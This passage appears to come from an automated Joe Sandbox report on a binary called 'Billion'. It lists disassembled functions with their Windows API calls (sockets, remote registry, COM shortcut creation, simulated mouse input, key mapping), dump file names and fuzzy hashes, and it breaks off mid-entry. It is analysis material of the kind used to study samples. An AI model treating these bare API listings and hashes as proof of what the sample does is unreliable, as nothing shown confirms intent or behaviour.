Instruction Fuzzy Hash: 92F0C972042612BBD7415F54EE49FD6BF39FF05312F402121F10291CA08774D4A2CF90

Function 001B26BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 001B281D
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 001B283E
WSAGetLastError.WSOCK32 ref: 001B284F
htons.WSOCK32(?,?,?,?,?), ref: 001B2938
inet_ntoa.WSOCK32(?), ref: 001B28E9

Part of subcall function 0019433E: _strlen.LIBCMT ref: 00194348

Part of subcall function 001B3C81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,001AF669), ref: 001B3C9D

_strlen.LIBCMT ref: 001B2992

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 714bd144e7d5707e0c9ed8890c9d1d06255ac87cfbb68164be02467a4f67c581
Instruction ID: 09af0e2de02044fa4a729f6beaa6a92da3371e10a519b76546a53469bb087e09
Opcode Fuzzy Hash: 714bd144e7d5707e0c9ed8890c9d1d06255ac87cfbb68164be02467a4f67c581
Instruction Fuzzy Hash: ADB1D171604300AFD324DF24C885F6ABBE5AFA4318F54855CF45A4F2A2DB31ED4ACB91

Function 00160527 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0016042A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00160446
__allrem.LIBCMT ref: 0016045D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0016047B
__allrem.LIBCMT ref: 00160492
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001604B0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: f879b393e65d4db2631db90962c4ab5633f4520d067d5efed2ccc62c0ef88ee5
Instruction ID: bbec9b7e6d826fc2e5bdd498ab6e91578e16bf590dca2aaaffbef500d7f93fce
Opcode Fuzzy Hash: f879b393e65d4db2631db90962c4ab5633f4520d067d5efed2ccc62c0ef88ee5
Instruction Fuzzy Hash: 7481E5726007069FE726AE68CC81B6B73B9EF68325F24452EF511DB2C1EB70D9218790

Function 00166571 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00158649,00158649,?,?,?,001667C2,00000001,00000001,8BE85006), ref: 001665CB
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,001667C2,00000001,00000001,8BE85006,?,?,?), ref: 00166651
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0016674B
__freea.LIBCMT ref: 00166758

Part of subcall function 00163B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00156A79,?,0000015D,?,?,?,?,001585B0,000000FF,00000000,?,?), ref: 00163BC5

__freea.LIBCMT ref: 00166761
__freea.LIBCMT ref: 00166786

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: f107dc5169bebf832d637bc7b7f7b8673e1094ffa8bf3d315189afc0c361b900
Instruction ID: ec501c569d9e8241d484ed7e6a43d5ee156ba205fcd38ef5685f1c3e15c50d3c
Opcode Fuzzy Hash: f107dc5169bebf832d637bc7b7f7b8673e1094ffa8bf3d315189afc0c361b900
Instruction Fuzzy Hash: 1451467260025AAFEB258F64CC85EBF7BAAEF50754F154269FC18D7140EB34EC60C6A0

Function 001BC63B Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001BD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001BC10E,?,?), ref: 001BD415
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD451
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4C8
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001BC72A
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001BC785
RegCloseKey.ADVAPI32(00000000), ref: 001BC7CA
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 001BC7F9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001BC853
RegCloseKey.ADVAPI32(?), ref: 001BC85F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: b97cdc0d9fa76e12d22cea315bd7fe59779fb6118d7413a841dd303becd92d52
Instruction ID: 753eb8dc9a99f16524f80f468309822c21947939e3a099541dabbb4adbabe095
Opcode Fuzzy Hash: b97cdc0d9fa76e12d22cea315bd7fe59779fb6118d7413a841dd303becd92d52
Instruction Fuzzy Hash: 59818D71208241EFC714DF64C885E6ABBE5FF94308F1485ACF5598B2A2DB31ED45CB92

Function 0019009D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 001900A9
SysAllocString.OLEAUT32(00000000), ref: 00190150
VariantCopy.OLEAUT32(00190354,00000000), ref: 00190179
VariantClear.OLEAUT32(00190354), ref: 0019019D
VariantCopy.OLEAUT32(00190354,00000000), ref: 001901A1
VariantClear.OLEAUT32(?), ref: 001901AB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: d3061f742e5c687f746483e2aa25ecab36ca23fe98fc4b585afb320c86270e26
Instruction ID: 0f9cebdb882204940687ee1bcd3e85eb31223916ac83b9e1bdee2cbcf99f4060
Opcode Fuzzy Hash: d3061f742e5c687f746483e2aa25ecab36ca23fe98fc4b585afb320c86270e26
Instruction Fuzzy Hash: 8D510835600310EECF2AAF649889B29B3A5EF5D350F258457F906DF296DB70DC44CB92

Function 001A9B51 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 001341EA: _wcslen.LIBCMT ref: 001341EF

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

GetOpenFileNameW.COMDLG32(00000058), ref: 001A9F2A
_wcslen.LIBCMT ref: 001A9F4B
_wcslen.LIBCMT ref: 001A9F72
GetSaveFileNameW.COMDLG32(00000058), ref: 001A9FCA

Strings

X, xrefs: 001A9E57

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: dbd4719a89033a32e38491af2e262f37c6e45a4404df2c2147a6414c2e7a5b65
Instruction ID: 09ba45625e5511cc6a6aec94b321ef9923dd9c731aaa76c76f0e5dc2220e9b6f
Opcode Fuzzy Hash: dbd4719a89033a32e38491af2e262f37c6e45a4404df2c2147a6414c2e7a5b65
Instruction Fuzzy Hash: 80E1B235608340DFC724EF24C881B6ABBE1BF95314F04896DF8999B2A2DB31DD45CB92

Function 001A6ED3 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001A6F21
CoInitialize.OLE32(00000000), ref: 001A707E
CoCreateInstance.OLE32(001D0CC4,00000000,00000001,001D0B34,?), ref: 001A7095
CoUninitialize.OLE32 ref: 001A7319

Strings

.lnk, xrefs: 001A6EFF, 001A6F69, 001A7025

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 3cb20f0dc753a1c3bf089c0d51f0ad3c08fbc07a9b8b26d50a15ec0f9848b16c
Instruction ID: 56aab2942a21548f34d17cdbc9facf0623e7322d2141be7e9d04536d8da5f942
Opcode Fuzzy Hash: 3cb20f0dc753a1c3bf089c0d51f0ad3c08fbc07a9b8b26d50a15ec0f9848b16c
Instruction Fuzzy Hash: C9D13A71508301AFD304EF24C881E6BB7E8FF99708F40496DF5958B2A2DB71EA45CB92

Function 001A1196 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 001A11B3
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 001A11EE
EnterCriticalSection.KERNEL32(?), ref: 001A120A
LeaveCriticalSection.KERNEL32(?), ref: 001A1283
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 001A129A
InterlockedExchange.KERNEL32(?,000001F6), ref: 001A12C8

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 9b037fdf91ff088e49a60ce18790e5393adc364b80adca4dde732bcc86eb27f7
Instruction ID: 682edf49083c63fc06aff201b3abf4b21fa0b202f3c99a9abbe548b2a24cee97
Opcode Fuzzy Hash: 9b037fdf91ff088e49a60ce18790e5393adc364b80adca4dde732bcc86eb27f7
Instruction Fuzzy Hash: BC416D75900204EFDF05AFA4DCC5AAAB7B8FF09310F1440A5ED009E296D730DE55DBA0

Function 001C8C36 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0018FBEF,00000000,?,?,00000000,?,001739E2,00000004,00000000,00000000), ref: 001C8CA7
EnableWindow.USER32(?,00000000), ref: 001C8CCD
ShowWindow.USER32(FFFFFFFF,00000000), ref: 001C8D2C
ShowWindow.USER32(?,00000004), ref: 001C8D40
EnableWindow.USER32(?,00000001), ref: 001C8D66
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 001C8D8A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 5efee64d9d6022de44c418b69e2ef9852112a6e4a140ecb78264ba89734259b4
Instruction ID: 1425efdc745b77cf332ccdbe35077c94b0f71506b03ed5e514a4193dfed0b3ef
Opcode Fuzzy Hash: 5efee64d9d6022de44c418b69e2ef9852112a6e4a140ecb78264ba89734259b4
Instruction Fuzzy Hash: CB417130601248EFDB25DF64E8CDFA57BE1FB65308F1540AEE5194B2A2CB31E849CB55

Function 001B2D37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 001B2D45

Part of subcall function 001AEF33: GetWindowRect.USER32(?,?), ref: 001AEF4B

GetDesktopWindow.USER32 ref: 001B2D6F
GetWindowRect.USER32(00000000), ref: 001B2D76
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 001B2DB2
GetCursorPos.USER32(?), ref: 001B2DDE
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 001B2E3C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 7a37c10dc86426ab3248167fd5aa2efedc7d4170ecdf7a433aebb643d900db04
Instruction ID: 756a8ac4f10e242c638b8569b580827507e2c828689ebb59cdfc0a2d4e833479
Opcode Fuzzy Hash: 7a37c10dc86426ab3248167fd5aa2efedc7d4170ecdf7a433aebb643d900db04
Instruction Fuzzy Hash: B431DC72505315ABC720DF54D849F9BBBA9FB88354F00092AF899A7181DB70E949CB92

Function 001955E1 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 001955F9
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00195616
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0019564E
_wcslen.LIBCMT ref: 0019566C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00195674
_wcsstr.LIBVCRUNTIME ref: 0019567E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 5c76d91af76c063d4162f4cf9295c03f2d26b02f350e17a19c2d72433d5b557f
Instruction ID: ecee5a12b15837f10d50051a88f6921d578be27cb7b6bddd4f261b9115c576d7
Opcode Fuzzy Hash: 5c76d91af76c063d4162f4cf9295c03f2d26b02f350e17a19c2d72433d5b557f
Instruction Fuzzy Hash: C221D172204600BBEF165B69AC49E7B7BAADF89760F148039F805EA091EB71DD819760

Function 001A6263 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00135851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001355D1,?,?,00174B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00135871

_wcslen.LIBCMT ref: 001A62C0
CoInitialize.OLE32(00000000), ref: 001A63DA
CoCreateInstance.OLE32(001D0CC4,00000000,00000001,001D0B34,?), ref: 001A63F3
CoUninitialize.OLE32 ref: 001A6411

Strings

.lnk, xrefs: 001A62BB, 001A6306, 001A63CA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: dc31aeef6894d43783cda01717842fda129516b4683bd0f62998319466240052
Instruction ID: bfde2e55d950a0c8529e777f06e6dff62bcf85006c1e432ec55965ab498758fa
Opcode Fuzzy Hash: dc31aeef6894d43783cda01717842fda129516b4683bd0f62998319466240052
Instruction Fuzzy Hash: 78D13379A043019FCB14DF25C484A2ABBF5FF9A714F198859F8899B361CB31EC45CB92

Function 001536F2 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001536E9,00153355), ref: 00153700
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0015370E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00153727
SetLastError.KERNEL32(00000000,?,001536E9,00153355), ref: 00153779

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c3c43b5710881acd020cc949f0dd72044b80543c074606baa46c549126997d77
Instruction ID: 69324a844a02968d11a4124a2c80e6c439669587bd5687031bcee04705c69d20
Opcode Fuzzy Hash: c3c43b5710881acd020cc949f0dd72044b80543c074606baa46c549126997d77
Instruction Fuzzy Hash: F70128F2909711EEA62527B4BCC657A3A95EB197F77200229F8308F0F0EF114D4AA144

Function 001630E7 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00154D53,00000000,?,?,001568E2,?,?,00000000), ref: 001630EB
_free.LIBCMT ref: 0016311E
_free.LIBCMT ref: 00163146
SetLastError.KERNEL32(00000000,?,00000000), ref: 00163153
SetLastError.KERNEL32(00000000,?,00000000), ref: 0016315F
_abort.LIBCMT ref: 00163165

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: cd5c8e90ba57b8f45e13dc2f5fef61f4e9ea7a3a728cce2e165aa1ba2368cc9d
Instruction ID: 544b8bd2f4cb746249f1fac0d5d32423aad0c82ea054c712d9d1c9c993c680ff
Opcode Fuzzy Hash: cd5c8e90ba57b8f45e13dc2f5fef61f4e9ea7a3a728cce2e165aa1ba2368cc9d
Instruction Fuzzy Hash: BDF0FCB6504A0127C2123739BC0AE6E166AAFE3771B270424F934D22D1EF34CE729161

Function 001C9480 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00131F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00131F87
Part of subcall function 00131F2D: SelectObject.GDI32(?,00000000), ref: 00131F96
Part of subcall function 00131F2D: BeginPath.GDI32(?), ref: 00131FAD
Part of subcall function 00131F2D: SelectObject.GDI32(?,00000000), ref: 00131FD6

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 001C94AA
LineTo.GDI32(?,00000003,00000000), ref: 001C94BE
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 001C94CC
LineTo.GDI32(?,00000000,00000003), ref: 001C94DC
EndPath.GDI32(?), ref: 001C94EC
StrokePath.GDI32(?), ref: 001C94FC

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 0a90aa616abb41ceca9250a95318dda5c0b6e3ef62f7c11d95b8d58dbdb728ec
Instruction ID: 75eedbfe58c16c6f92028095cd5a88a030d873ba386c3c58412bde4608bb179d
Opcode Fuzzy Hash: 0a90aa616abb41ceca9250a95318dda5c0b6e3ef62f7c11d95b8d58dbdb728ec
Instruction Fuzzy Hash: D7111B7600010DBFDF029F94EC88E9A7F6DEF08360F048026BA195A561C771DDA5DBA0

Function 0013327E Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 001332AF
MapVirtualKeyW.USER32(00000010,00000000), ref: 001332B7
MapVirtualKeyW.USER32(000000A0,00000000), ref: 001332C2
MapVirtualKeyW.USER32(000000A1,00000000), ref: 001332CD
MapVirtualKeyW.USER32(00000011,00000000), ref: 001332D5
MapVirtualKeyW.USER32(00000012,00000000), ref: 001332DD

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 68184e1d36aff828deaffbd81cb1b3e5d11036714d1eae508608369e3a0a049a
Instruction ID: 6d52ff4edc4ed0a29df4b9a5cece6c43bbfdaaee5f04f0fdcbf0b893e5904d12
Opcode Fuzzy Hash: 68184e1d36aff828deaffbd81cb1b3e5d11036714d1eae508608369e3a0a049a
